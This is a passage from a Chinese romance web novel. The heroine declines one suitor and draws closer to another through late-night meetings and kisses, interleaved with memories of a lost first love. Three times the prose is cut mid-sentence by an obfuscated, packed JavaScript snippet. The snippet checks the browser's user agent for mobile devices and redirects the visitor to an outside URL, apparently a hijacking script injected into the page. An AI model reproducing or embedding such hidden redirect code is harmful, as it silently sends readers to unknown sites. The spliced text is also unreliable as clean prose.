至于其他的人,何筱舟留心观察后发现,他们应当跟张巍是一个圈子的。 只是今天这一出,除了在合作方面前暴露他们团队内部沟通协作方面的短板,让对方看场笑话,何筱舟想不到任何有利于卢斌的结果。 何筱舟陷入沉思,没留意包里嗡嗡振响的手机。是坐她旁边的文途提醒了她一句,才恍然反应过来。 来电是余歆然的合伙人,也是她表弟,苏祁。 下午的时候,余歆然微信上问她下班后有没有时间,有个技术上的问题要和她探讨。 何筱舟大致估计了下结束时间,回说可以过去。 余歆然便在三人群里艾特苏祁,让他提前订好晚餐,赶下班点再去接一趟何筱舟。 这段时间,如果没有别的安排,何筱舟基本每周末都会去余歆然的公司,久而久之,跟苏祁也算熟识了。 从市郊到余歆然公司要倒两班地铁,何筱舟就没推脱,直接发了启域产业园的地址。 苏祁这会已经到了。 知界的考勤规则,外出不需要特意回公司打卡,在拜访地点签离即可。 何筱舟远远看到苏祁的车停在园区门口,对其他人说:“我有事先走,你们也早点下班。这个模块还有富余的开发时间,刚才会上说的工作这周落实完毕就行。” 卢斌坐在副驾,闻言回头看她一眼,“知道了。” 交代完,何筱舟拉把手下了车。 车门应声合上,因此她没有听到被车门阻挡的低语。 是卢斌,隔着车窗望向那辆阿斯顿马丁,看到何筱舟正弯身坐进副驾,他啧啧两声,“这么好的车,何总平时看上去不食人间烟火的,真看不出来。” 开车的是和卢斌工位相邻的崔明理,没吱声,只意味深长地笑了笑。 文途早就看不惯他们,收起手机,身体探到前排,贱兮兮地咂嘴,“确实,得好几百万呢,怎么着,卢哥眼馋啊?” 崔明理尬笑着打圆场,“谁看不眼馋?” 文途嗤一声,“那要不跟何总打个电话,看看能不能带你俩兜一圈?” 话题中心的何筱舟自然不知道这些弯弯绕,很多东西在她眼里只有工具属性。 这会赶上晚高峰,车堵在高架出口,她将车窗落下一丝小缝透气,问起余歆然的难题。 “我不太清楚,等到了你们再详说?” 苏祁瞥一眼她过于端正的坐姿,笑道:“放松点?下班时间。” “听歌吗?” “可以。” 苏祁拨弄着中控屏,开玩笑说:“余歆然当老板没多久,倒是很有当资本家的天分,耽误你下班休息了。” 柔和的钢琴曲响起,何筱舟稍微放松下来,笑了笑,“我回家也没什么事。” 苏祁好像就等她这么说,“那结束了我请夜宵?” 到这里,何筱舟仍没觉得有哪里不对劲。 她只以为是很正常的客套,没说好,也没说不好,心里估摸着可能得很晚才能回去了。 余歆然要探讨的,并非是纯粹技术层面的问题。她当初构想的心理咨询平台已经初有框架,算法上可优化的空间不大。令余歆然苦恼的实则是很飘渺无影的理念,类似甲方惯用的“好像缺点什么”,“字体不太清晰”等等。 何筱舟上手调试一番,拧眉思索片刻,隐约觉出点门道,“我的感觉,它还不太像‘人’。” 余歆然点头,“是这个劲儿。” 何筱舟开始说自己的想法。 从融合更加优越的语言模型,到加入人文关怀,再至依据对话内容适时调节沟通节奏,她不仅在思考通过何种技术实现,同时也在考虑怎么做才能让产品的整体性能更加完备,更符合用户的期待。 她和余歆然讨论得认真,没有注意到办公区的员工渐渐都离开了,时钟已经指向十点。 苏祁坐在离她们稍远的位置上,支着下巴,眼里是毫不掩饰的欣赏。 何筱舟完全没有觉察到落在自己身上的目光。 她沉浸在创造的过程中,这与她一贯的工作方式很不一样。以前她只需要按照既定的需求说明一步步做具体实施,将存在于概念中的框架落地,今晚她忽然体会到从无到有缔造一个概念的乐趣和意义。 很久违的感觉。 让她想到大学时期自己独立完成第一个项目的成就感,她甚至体会到林湛从前所说的,那种写出新歌的轻盈感。 源源不断的想法如绵软的云层一般托举着她,像进入一个天马行空的世界,每一个想法都能被妥善安放。 轻飘飘的感觉一直持续到结束后苏祁送她回家。 车停在新安社区巷口,他递来一个精致的纸袋,隐约可闻清甜的烘焙食物香气。 “还想请你吃夜宵的,可惜太晚了。” “这个是在附近甜品店买的点心,公司好多女生都推荐的,你尝尝。” 何筱舟道了声谢,解开安全带,准备下车。 却被苏祁叫住:“明天下班有时间吗?” “没有别的事,不过歆然姐刚才说她需要点时间梳理今天讨论的东西,应该不用我过去了吧?” 不是推脱,只是何筱舟觉得他们的产品现在还处在研发阶段,她相当于是外人,出现得太频繁好像不是很合适。 “我不是这个意思。” 苏祁解释,“河西新开一家餐厅,味道很不错,我想,约你明天的晚饭。” 何筱舟脑袋里忽然响起一声铮鸣,绵软云团散开,她随即落地。 “这样的话,我可能会突然、临时有点事。” 话说得委婉,但回绝的意味很直白,倒让苏祁愣了愣,“我姐说你很难追,我还不相信。” “一点儿机会都没有吗,哪怕吃个晚饭?” “晚饭可以,像今天这种的。” 何筱舟完全不想斡旋,她现在很疲乏。 苏祁笑道:“行,下次会议我弄个烛光晚餐。” 自然是开玩笑,何筱舟也没再说什么,提着纸袋下了车。 刚开春,夜风料峭。 何筱舟紧了紧衣襟,拐进巷口的便利店。 她拿了两瓶葡萄味果酒,结完账提着纸袋出门,经过落地玻璃时,一扭头,与坐在长桌后的人对上视线。 他整个人被森白的射灯笼罩着,身上那件黑色的冲锋衣外套将所有光线都吸噬,将眉眼衬得愈发深沉。 不是李既白又是谁。 何筱舟一时怔在原地,隔着玻璃同他对望。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16994697|187888||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他眼底翻涌着浓郁到化不开的疑问与不安,她回头看一眼苏祁车子离去的方向,恍然明晰了缘由。 见他没有出来的意思,何筱舟拿出手机给他发信息,“你怎么在这?” “路过。” 何筱舟抿紧唇角,才没让笑容溢出来,“你家好像不是这个方向?” “哦,我突然想喝葡萄味的酒,想起这边有卖。” 何筱舟轻轻晃了晃手中的酒瓶,用口型说:“出来,请你喝。” 李既白终于弯唇笑了笑,眉间薄霜尽褪。 他抬腿挪开椅子,斜挎着背包走出便利店,“是你让我出来的,可不是我先破坏分界线。” 何筱舟递给他一瓶酒,调侃道:“不过我印象中这个牌子很普遍,好像随便一家店都有卖。” 李既白猛地灌下一大口,挑明原因,“他也在追你?” 何筱舟笑着扬了扬眉,“也?” “可能不准确。至少他不像我一样,还有时间上的局限。” 李既白低眉看着她,“可以让他排个队吗?” 何筱舟停下脚步,“在你眼里,我是什么旅游景点吗?大门随时敞开,来者不拒?” “当然不是。”他意识到说错了话,急急否认。 只是他今天突然意识到,他空无一物,能给她的很有限,甚至在她被为难的时候,都没有足够的话语权打破僵局,或者为她挡箭。 李既白颓然垂手,低声道:“对不起。” “干嘛突然道歉?” 何筱舟有点抓狂,无奈之下,手指慌不择路地扯住他的衣袖。 处理男女关系果然是一件很难的事。 李既白垂眼注视着她的手指,不由自主开始回想隔着玻璃和半落的车窗隐约看清的男人侧影。 他身上那件西服,也被她这样抓在手里过吗? 李既白轻咳了声,“我明天要出差,还是去桐陵,有什么需要我带给你的吗?” “桂花酱没有了。” 何筱舟松开手指,“还有,如果你有时间,教我做桂花年糕?” “好。” 很短一段路,转眼间就到了新安社区门口。 何筱舟上了楼,将纸袋随手搁在桌上,她缓慢移步到阳台,半趴在围栏上,目送李既白的身影渐渐离去。 没曾想,他忽然调转回头,大步走回楼下。 手机振响,何筱舟接起来。 “所以,你刚才说那句话的意思是,你已经拒绝他了?” 他语气里是藏不住的紧张,隔着夜色,何筱舟仿佛也能洞悉他的神情。 “不知道,我有这么说过吗?” 李既白了然道:“我知道了。” 什么你就知道了? 何筱舟抬手,想挂断电话,听到他急急一声,“别挂。” 没等她发问,男生远远望着她,朝她挥了挥手。同时,听筒里传来他低沉的声音。 “何筱舟,晚安。” 他立在原地,定定的,像在等她回应。 何筱舟修正先前的结论。 这件事不仅很难,而且麻烦。 她面无表情地回:“再磨蹭你就赶不上末班地铁了。” 话落,又补充,“赶紧回去,注意安全。” 何筱舟听到他低笑一声,应了句好。 电话挂断,李既白再次朝她挥了挥手,发尾在风里飞扬,是他转过身,脚步轻快地跑入黑夜里。 何筱舟仍站在阳台上,直到他的背影消失不见。 晚安,她轻声说道。 36. 彩虹 何筱舟没有再把精力耗费在卢斌身上。 她始终认为任何职场斗争都是浪费时间,利益固然重要,但她从来都更在意自身的提升。 卢斌交上来的新方案没能通过组内评估,他终于偃旗息鼓。 按照先前约定的,何筱舟将讨论的几种方案都归纳起来,注明其各自的优缺点,并且详细解释了被采纳或被摒弃的原因。 整合后的材料经组内研讨评审一致通过后,周五下班前,她在对接群里预约下周的碰面时间。 却被孙林告知,蔡旬去了桐陵出差,那边的工作一时结束不了,需要改成远程会议的方式。 李既白可能看到了群里的信息,私聊她,“蔡总开线上会议的风格跟线下不太一样,你们最好准备得充分一点。” 聊天记录还停留在上次在便利店碰面的时候,何筱舟回他,“你知不知道你这是通敌?” “这也算吗?” “你知道的,我这人没什么原则。” 何筱舟莫名联想到他说的什么第三者、偷情之类的话,抬头望一眼安静的办公室,没来由觉得脸热。 她绷着脸,发去一串长长的破折号。 李既白没再回复,隔了一会,她正检查资料时,收到他发来的一张手动闭麦的表情包。 何筱舟关掉微信窗口,再三确定资料没有遗漏什么内容,按习惯备份之后,开车赶去机场接乔楠。 乔楠和Eric彻底告别,之后去了欧洲。 她在美国待了那么一段时间,什么都没带回来,临走前挑拣了些能拿得出手的送给纽约的同学,其余的都放二手市场卖掉或者直接丢弃。 “爽。” 乔楠将车窗落下一隙,“我第一次知道,真正切断关系是这样的感觉。” “其实我和Eric早都知道我们之间不合适,来来回回纠缠不清或许是因为不甘心,但就像扔掉那些东西一样,真的松手之后,感觉卸掉了个沉重的大包袱,我要轻装上阵了。” 结束得比以往任何一次都体面,两人在一个普通的冬夜里一起吃了顿饭,很平静地说了分手。 “后面什么打算?” 乔楠说:“我在欧洲闲逛的时候有很多灵感,之前就有这个想法,开家工作室,尝试做服装设计。另外,过几天,去跟周家那□□见个面。” 何筱舟回想了下,才记起是先前乔父打算让乔楠联姻的那个周家。“你不是要妥协了吧?” “相反,我是想直接面对。不管嘴上说得再天花乱坠,我当初去美国就是逃避现实,既然我决定回来,得先把这些事解决干净。” 何筱舟在她脸上看到前所未有的坚定与从容,她为乔楠高兴,“喝点儿?” 车先开去了槐枰街。 奥斯卡很久没见乔楠,径直扑进她怀里,携着一如既往的力道。 乔楠跌坐在地,逮着它的脑袋揉够了才站起身。 起先两人准备去清澜河岸边上的清吧坐一会,经过四季时,乔楠看见店门多出的宠物友好标识,忽然就改了主意。 季惟显然没预料到乔楠会突然回来,惊愕之余,整个人别别扭扭的,绷着神色问她们喝什么。 何筱舟随便要了瓶啤酒,窝进角落的卡座里,把交谈的空间留给他们。 还没到最热闹的时候,只有零零散散几桌顾客,乐队正在唱一首和缓的慢情歌,她听得昏昏欲睡。 迷蒙间,何筱舟的意识飘荡着,回到很多年前。 林湛课余时间带着陨落前摇的其他成员在什刹海跑驻唱演出,不赶早课的夜晚或是没有兼职安排的周末,何筱舟会一同前去,边喝酒,边无所事事地听他唱歌。 缤纷流转的迷离灯光里,她的视线偶尔和林湛的相撞,他会朝她眨眨眼,笑一笑。她心领神会,手指悬在半空握拢,将他的笑容私藏进口袋。 那时的她每天都急匆匆的,修两门专业,在校外做兼职,生活被忙碌挤压成纯粹的灰,走路都像是在小跑。 林湛的出现,将这片灰茫撕开一隙,像某则知名广告一样,她单调的世界里被倾倒进许多五彩绚丽的糖豆。 以至于现在回想起来,她都只记得那些带着甜味的鲜活颜色。 何筱舟不知道自己迄今为止仍然在怀念过去算不算是在逃避现实。 她没办法跟乔楠一样直截了当地舍弃,她总是无法自制地怀念父亲,怀念林湛。 好像唯有这样,她才能深刻感知到,她并非一直孤寂,无论是家庭还是爱情,她曾经都真真切切完整拥有过。 李既白发来短信的时候,何筱舟刚阖上眼。 像是偷拍的照片。主角是坐在吧台前聊天的季惟和乔楠,角落里是她,倚着沙发,只露出了肩膀和脑袋。 “你不开心吗?” 环境昏暗,也不知道他怎么认出来的。 又是怎么凭借一个连背影都算不上的模糊剪影,得出这个结论。 何筱舟不想举着手机打字,直接拨了电话过去。 “怎么,你找人跟踪我?” 她语气懒懒的,声音很轻,独特的颗粒质感像风扫树叶,密集地掠过他的心尖,掀起一阵微痒。 这罪名有点大,李既白忙否认。 其实是季惟店里的那个调酒师,发张照片来跟他八卦老板。 何筱舟应了声,听到电话那头吵嚷的声音,“你那边出什么事了?” “哦,没什么,景点代拍,摄影师跟顾客吵起来了。我在梧桐街,你记得吗?” 李既白说:“现在是‘春雨洒青’的阶段,最近常下雨,好像每一场雨都能让树叶变绿一点。” 说着,他又发来一张照片。 道旁两侧梧桐枝桠高耸,在顶端交汇,还没到枝繁叶茂的季节,青翠绿叶间,隐约可窥见一线蜿蜒的淡蓝天色。 仿佛是为了礼尚往来,何筱舟歪靠着沙发扶手,漫不经心报坐标:“我在津海,槐枰街,四季酒吧。” 她听到李既白轻笑一声,“在做什么?” 没什么营养的对话,慵懒的氛围,容易让人滋生错觉。 未经斟酌的话脱口而出,“喝酒,听歌,想你。” 李既白顿了片刻,像信号延迟,声音隔了一会才抵达她耳畔,“什么?我没听清。” 何筱舟自知失言,“我说我在等乔楠回家。” 暧昧的进程戛然而止。 乔楠跟季惟大概聊透了,他们之间没有实质上的矛盾,当初闹掰也是情绪上头话赶话,俩人一直合得来,不谈感情也有很多话题,闲聊到十点多才散。 乔楠没喝酒,开车送何筱舟回去。 太晚,懒得折腾,直接在新安社区留宿。 何筱舟断断续续喝了不少酒,加上回来时吹了点风,头疼得厉害,在床上翻腾许久睡不着,索性爬起来看电影。 乔楠时差还没调整过来,同样难以入眠,于是干脆点好夜宵,挑了部热闹的超级英雄题材来看。 看到三分之二处,何筱舟的手机嗡嗡振响。 依然是李既白的短信,问她睡了没有。 何筱舟瞥一眼看得正认真的乔楠,回了个“0”。 “那方不方便下楼一趟?” ? 何筱舟说上厕所,边给他拨电话,边走去阳台。 连她自己都没意识到,她的步伐纷乱,像楼上刚开始学钢琴的小学生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17006258|187888||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弹奏的不成调乐曲。 凌晨两点左右的光景,月色如湖水一般澄澈。 李既白站在树下,远远望过来,“我现在在津海,新安社区,何筱舟家楼下。” 何筱舟匆忙挂了电话,无暇顾及身上单薄的家居服,换了鞋下楼。 她在李既白面前站定,微微气喘,“你不是还在桐陵出差,怎么突然过来?” 李既白脸上带着连夜奔波的倦意,却朝她弯了弯唇,“抱歉,这次是我破坏了分界线。” “因为我好像听到有人说想我,想来确认。” 何筱舟的眼睛微微热了。 很多时候,她都只把他当作替代品,甚至沉浸其中,贪恋地徘徊于现实与过往交织的模糊边界。 所以,她很清楚地知道,她此刻的动容绝非因为他与林湛相似的面孔。 这个男生,因她一句含糊不清的“想你”,深夜跨越千里,将自己送至她面前。 何筱舟当即修正那场旅行最开始时,她对他的定论。 他并非被动,只是把自己隔绝在一个单独的圈层里,而一旦有哪个人被他划定进去,他会毫无保留。 何筱舟微垂下头,许是因为夜里太冷,肩膀不由自主发颤。 李既白把套在卫衣外层的夹克外套脱下来,罩在她肩头。何筱舟被熟悉的草木气息包裹,在他双手退离之前,顺势环抱住他的腰。 “既然已经破坏了,就彻底一点。” 夜这样静谧,彼此贴近的心跳声却剧烈。 李既白合拢手臂,借身高优势将她整个人搂在胸前,仿佛只有这样,才能稍稍修补这段时间心脏空缺的一角。 打破这份宁静的是乔楠打来的电话。 何筱舟退开些许,下意识望向二楼的窗口。 “姐们儿,今晚还会再见吗?” “再见的时候你要幸福好吗?” 乔楠当面玩梗,无所顾忌地笑开,何筱舟咬牙瞪她,“你够了啊。” 只是隔着距离,这一瞪并没什么威慑力,反而让乔楠笑得更大声。 李既白拥着她肩膀,小声道:“你上楼吧,我明天上午还有些工作安排,一会得赶早班机回桐陵。” “等我回来再说。” 他们距离太近,他的话顺着听筒传进乔楠耳朵。 “怎么那么着急走,还没……” 何筱舟预感乔楠要说些虎狼之词,直接切断通话。 她看眼时间,问:“几点的票?” “六点。” 何筱舟抬眼幽幽地看着他,颇有些无语,“你不嫌麻烦吗,万一我睡了,没看见你的短信,你不是白跑一趟?” “我说过,麻烦的程度低过我想见你,就不是麻烦。” 李既白扬起眉梢,“更何况,今天是你想见我。” “那也可以打电话?打视频?” 李既白伸手抬起她的下巴,脸凑近,似在认真研判她话里的诚意,“如果我没记错,我好像在电话里跟你确认过,你是没否认,但是很生硬地岔开话题了。” “某人总是口不由心,隔着电话方便她耍赖,我当面确认过才能放心。” 何筱舟哑口无言,快速眨了眨眼。 男生忽然松开手,视线避开她的眼睛,略微下移,落去她唇角。 “你要不要回去?” 何筱舟对他的反应了如指掌,故意挑衅:“如果不呢?” 李既白沉吟片刻,一手扣住她肩膀,另只手搂紧她的腰,将她重新固在怀中。 呼吸悬停在她鼻尖。 见她不阻止,他不再有任何犹豫,低头含住她的唇。 “那再陪我待一会。” 37. 晨曦 腰部被李既白以一种极有压迫感的力道牢牢扣住,与之相反,贴在唇上的力道却格外轻柔。 一下接一下的吮吻,触感柔软,直抵心脏。 何筱舟忽觉自己像是泡在温烫的池水中,整个人被浮力托举,轻盈与失重感交织,连带着一颗心也忽上忽下,起落不定。 完全忘记了从前跟他接吻是什么感觉。 有跟现在一样快要在身体里爆炸的渴望吗。 何筱舟睁开眼睛,看见他近在咫尺的微颤眼睫,忍不住含糊开口:“李既白……” “嗯?”他神色陡然清明,撤了手退开。 “你是不是退步了?” 李既白蓦地抬眉,眸光深黯地注视她。 许久,在何筱舟以为激将法对他失去作用考虑要不要主动的时候,他忽然伸手捧住她的脸颊,亲吻如携着风雨一般,强势地压下来。 舌尖径直闯进来,裹挟着她的,急切而密实地掠夺她的氧气。 何筱舟手指抓着他的衣领,很快呼吸不匀。 他刚刚喝过海盐味道的咖啡吗,口腔里盈满清新又好闻的气息。她踮起脚尖去尝,可试过才知道,她双腿发软,根本站立不稳。 男生感知到她在下坠,极短促地闷笑了声,手臂重新绕到她腰后,稍微用力把她往上抱,而他则很配合地垂下脑袋。 何筱舟顺势攀住他脖颈,把他压得更低。 她仰颈热切地回吻他,纠缠他,像要把他舌尖残余的咖啡醇香尽数吸吮干净。 身体间的缝隙被填实,交缠的呼吸声急促而粗重,相贴之处不同寻常的触感也更加明显。 李既白轻啄她的下唇,声音低哑,“你没穿……” 何筱舟双眼迷蒙,“快睡觉了,当然不穿。” 他遽然停下所有动作,收紧搂在她腰侧的双臂,脸埋进她颈窝试图平复气息。 半晌,李既白伸手整理好披在她肩头的外套,将拉链拉到顶,“回去吧,别着凉了。” “你呢?” “我去机场。” 他的衣服对她来说有点太大了,何筱舟抖抖衣袖,探出手,“我送你。” 没给他拒绝的机会,她用力握了握他的手掌,转身上楼取车钥匙。 距起飞还有一段时间,但显然也没必要再折腾去酒店。何筱舟带他去了停车场,打算过会出发。 她按开车锁,推着李既白直接坐进后排,“就在车里……” “喂,何筱舟,不可以。” 李既白双手握着她的肩膀,制止她靠近的动作,耳根霎时通红。 “什么?” 何筱舟轻笑了声,挣开他的手,侧躺下去枕到他腿上,无辜地眨眼,“在车里打个盹,不可以吗?” 她双腿微蜷起来,仰面看着他。 素来冷静的眼睛里盛满狡黠的笑意,在车内昏暗的阅读灯光线下,看起来鲜明又生动,完全不见平素清淡、锋利的模样。 多难得。 李既白曲解了她的意思,却没觉得尴尬,只低下头,轻轻亲在她额间,“睡吧。” 环境局限,何筱舟没能真的睡着。 她抓着李既白的手,几分依恋地贴在脸侧,指尖在他手背若有似无地绕着圈。 何筱舟自觉今晚过于越界了。 他们之间的关系好像走到无法界定的边缘,不管是前进还是后退,都让她举棋不定。 可当他们在机场分别前,何筱舟看清他眼底的疲惫时,又觉得不忍。 “抱歉,李既白。” 他皱了皱眉,双手攥紧方向盘,“什么意思?” “再给我点时间。” “我知道我的缺点,很多时候我都不够果断,但你相信我,我绝对不是在耍你,故意吊着你……” 李既白松口气,低声打断她,“我记错了吗?当初你要睡我、拒绝我的时候好像都挺果断的。” 何筱舟无从辩驳,敛眉不语。 见气氛并未缓和,李既白正色道:“不需要因为这个跟我道歉,哪怕是你想要再拒绝我一次,也不需要道歉。” “我知道的,你很念旧,很难跟过去告别的同时也意味着很难迈进新阶段。” “但既然你这么说了,我可不可以大胆一点?” “你之所以犹豫、谨慎,是不是代表你正在认真考虑把我划进你的世界?” “否则你大可以跟之前一样,只跟我保持身体层面的关系,等厌烦了随时中断。而这完全不需要时间斟酌,你知道我的,我会答应。” 停车场上来来往往尽是赶早班机的旅客,噪声被车窗隔绝也能清楚感知其间的匆忙。 而车厢内,正陷入幽潭一般的沉寂。 何筱舟下意识想否定,李既白或许明晰她的想法,率先开口:“筱筱,坦诚一点。” “行。” 何筱舟扯着他的衣领,颇有些破罐破摔的意思。 “你说的对,做炮友比做男女朋友简单多了,所以在我找到新目标之前,我可以勉强跟你睡一睡。” 李既白眸色一黯,猛地伸手掐住她的下颌,重重碾上她的唇。 何筱舟在他指尖的力度下微微张口,而他流连于她唇缝的舌尖随即探进来,缠绕着她的,凶狠吮吻。 他不许她后退,在她后背抵上车门的时候,他倾身追过来,手掌控住她的后颈,愈加强势地吻住她,一副要吞掉她所有难听话的架势。 他太熟悉她身体的开关,温热的嘴唇渐移至她颈侧,包裹着她的耳垂,用滚烫的呼吸一点一点将她融化。 何筱舟有些耐不住,喉咙里溢出模糊的碎音。 李既白的唇贴着她的耳廓,用气声说:“勉强吗?” “告诉我,你找目标的标准,我现在开始学。” 他附在她耳边说着,气息钻进耳里,酥痒感瞬间入侵她全身每一个毛孔。 何筱舟呼吸加速,四肢绵软。 她勉力躲避着他细密的吻,最后只得深 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17028474|187888||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 深垂下头,将额头抵在他胸前,“李既白,我的确在考虑。” “我很久没有谈恋爱,我需要时间去适应一段新的关系,你不要逼我对你坦诚。” 天知道她面对他那双总是充满真诚的眼睛时负罪感有多重,他太坦荡,太包容,毫无保留地将真心交付,以至于她有时在想,哪怕有朝一日他真的知晓了前因,是不是都不会轻易怪她。 可越是这样,她越难迈出这一步。 李既白捕捉到她话里的“很久”,不由蹙了蹙眉。 但转念一想,距他们旅途相识谈及失恋已经过去了大半年,确实能称得上“很久”。 便没细思,垂首亲吻她的发顶,“好。” 分别后,何筱舟穿着李既白的外套回了家。 好在乔楠还没睡醒,不必面对她变着花样的揶揄。她简单洗漱过,轻手轻脚找了床薄被窝进沙发。 一觉醒来已是下午。 屋子里静悄悄的,乔楠已经走了,在她脑门上留了张便利贴,“约了人看店面,醒了发信息给我,晚上一起吃饭,坦白从宽。” 何筱舟摸手机给乔楠回信。 却见三条微信消息静静躺在通知栏,全部来自李既白。 都是图片——舷窗外为云层镀上金边的晨光;倒映着机场指示牌的积水坑;车窗外快速后退闪出虚影的梧桐树。 算是另类报平安的方式吗? 何筱舟弯起唇角,用聊天窗口自带的相机对准阳台,回了一张铺满屏幕的日光,朦胧到看不清楚任何背景。 但李既白立时明白了她的意思,“睡醒了?” “1” 李既白早习惯她的回复话术,自顾自问:“还有两张呢?” “我好像没说过要跟你玩图片叠叠乐。” “另外,你是不是忘了分界线这回事?” “对方正在输入”闪烁好几次,李既白终于憋来一句,“昨晚是谁说要破坏得彻底一点?” 午后的阳光温暖而惬意,何筱舟疏懒地半眯着眼睛,恍惚觉得就这样漫无目的地用没营养的对话消磨时间也很好。 但显然,其他人不会这么想。 苏祁发来消息,“晚上有时间吗?朋友送了我两张话剧票,赏个光一起去?” 何筱舟兀自想着该怎么回绝,丝毫没留意李既白的头像已经重新跳到列表最上方。 她直接点进去敲字,“不好意思,晚上有约了。” 好巧不巧,何丽萍这时打来电话,问她这周有没有时间,听口气大概又要给她安排相亲。 一通电话打了半个多钟,何筱舟好说歹说才推掉她变着花样攒的饭局,切回微信时瞬间怔住。 李既白:“?” 李既白:“和新目标?” 苏祁许久没等到回复,信息紧随其后,“没别的意思,只是看话剧。” 何筱舟丢开手机,揪着薄被蒙住脑袋。 这算什么?春天即将到来的具象化表现? 38. 夕照 何筱舟本想冷处理一会再回复,没想到,身体蜷在被子里没多久,又睡着了。 或许是潜意识在替她回溯类似场景,她竟梦见北京冬夜里纷飞的雪,以及,她和林湛的相识。 那次是室友脱单外加庆祝生日,在学校附近KTV包了间豪华房,乌泱泱请了一大帮人。 何筱舟捧杯果汁坐在角落不起眼的位置,兀自思索着如果明天雪还不停的话,她晚上做完家教该怎么赶回学校。 她以为自己是透明的,所以根本不知道那两个男生是怎么注意到她的。 起先是一个反扣棒球帽的男生过来邀请她唱歌,她没有兴趣,一口回绝了。 她余光瞟见棒球帽挪回位置之后跟邻座戴眼镜的男生嘀咕了几句,没过一会,眼镜越过拥挤的座位坐到她身边,煞有介事地问她是几年级,哪个院系的。 何筱舟不认为跟他有什么闲扯的必要,一一答完,直接问他有什么事。眼镜推了推鼻梁上的眼镜,说结束后想请她吃夜宵。 接二连三的,何筱舟觉得厌烦,推辞之后就出门拐进洗手间躲清静。 回来的时候,棒球帽和眼镜已经双双站上包房内的小型舞台,不甚熟练地唱一首那些年很流行的女团歌,同时迎合着MV画面摆出各种奇怪的姿势。 屋内的起哄声快要将房顶掀翻。 何筱舟没在意,只以为他俩是玩什么大冒险输了,结果,他们唱完之后,当着众人的面,言辞恳切地向她道歉,末了还朝她的方向深深鞠了一躬。 何筱舟有点摸不清楚状况,目光跟随两人回到沙发旁,看见他们举起酒杯,颇有些恭敬地,向一位懒懒坐在高脚凳上的男生敬酒。 这个小插曲自然引起其他人的注意,何筱舟听到旁边有人议论。 “那人谁啊?” “你不知道吗,建筑系的,林湛。” 何筱舟知道这个名字,也听说过他的光环,倒是第一次和真人对上号。 清秀、矜贵、闲散,是何筱舟对他的第一印象。 男生被簇拥着,象征性地喝了口酒,轻渺的视线越过憧憧人影定格在她身上,而后冲她点了点头。 因这一眼,何筱舟反应过来这出闹剧或许是因她而起,但她未知因由,只觉得奇怪。 第二天,雪仍然在下,家教的雇主体谅,结束得比往常早了些。走到站台的时候,林湛的车已经等在那里。 他落下车窗,“回学校吗?送你。” 何筱舟认出他,看了眼他的车,“前面在修路,有坑,有石头,这车恐怕过不去。谢谢你,我等公交。” “而且你最好也绕过这段路。” 林湛笑了,没勉强她,下次再来的时候,换了辆底盘很高的越野。 只是何筱舟坚持坐公交,越野也没派上用场。 一直到新历年前最后一天,林湛没开车来,陪她一起搭公交,摇摇晃晃回了学校。 并肩而坐的身影倒映在车窗中,何筱舟看着,没头没尾地说了句谢谢。 林湛不解,问为什么。 提及在KTV发生的事,她终于问出困扰她多日的问题,“你那天为什么帮我?” “他们说了很多难听话,我看不惯。” “是什么?” “你不会想知道的。” 何筱舟面色平静,“我猜猜,说我是装货?” 林湛见她不甚在意的样子,便说:“不止。他们打赌,赌谁能在期末考试之前把你追到手。” 事实上,真正的言辞要污秽很多,林湛没细说。 “追到手”其实已经算是相对委婉的说法。 “哦。” 何筱舟淡漠道:“那仅仅只是唱歌摆pose,好像有点太便宜他们了。” “大冒险游戏里抽的牌,我运气不太好。” 何筱舟低声说:“是我运气不好。” “所以,你这些天来这等我,是也加入了他们的赌约?” 林湛立即澄清,“我的确在追你,但不是因为打赌。” “那是为什么?” 他反问:“需要问为什么吗?除了喜欢你,还能有别的原因?” 何筱舟还想追问,譬如他为什么喜欢她。 他们认识没多久,根本不了解彼此,他们之间差距悬殊,根本不相配。 可她自己也无法解释,为什么会开始期待他的出现。 后来,林湛用他的歌,用他总是突然迸发的奇思妙想告诉她,很多事不需要追究底层逻辑,只是因为想做,想得到,就可以临时决定一场出游;可以丢下做了一半的小组作业去爬山、游湖、逛公园;或是接连半个月跟踪预测,锲而不舍地去追流星雨、日全食。 但,耀眼、夺目的事物总是稍纵即逝,从来不会是某一个人的专属。 何筱舟从久远的梦境中睁开眼睛,目光涣散地望向窗台外正缓缓落幕的夕阳。 乔楠的电话来得很是时候,适时掐断了午睡综合征带来的庞大怅然。何筱舟洗漱完,换了套衣服,周身轻快地开去清澜河对岸的商圈赴约。 等红灯的间隙,她给苏祁回信。 “抱歉,我晚上有约了。” 以往她处理这些事都很干脆,但碍着余歆然的关系,何筱舟这次没有把话说绝。 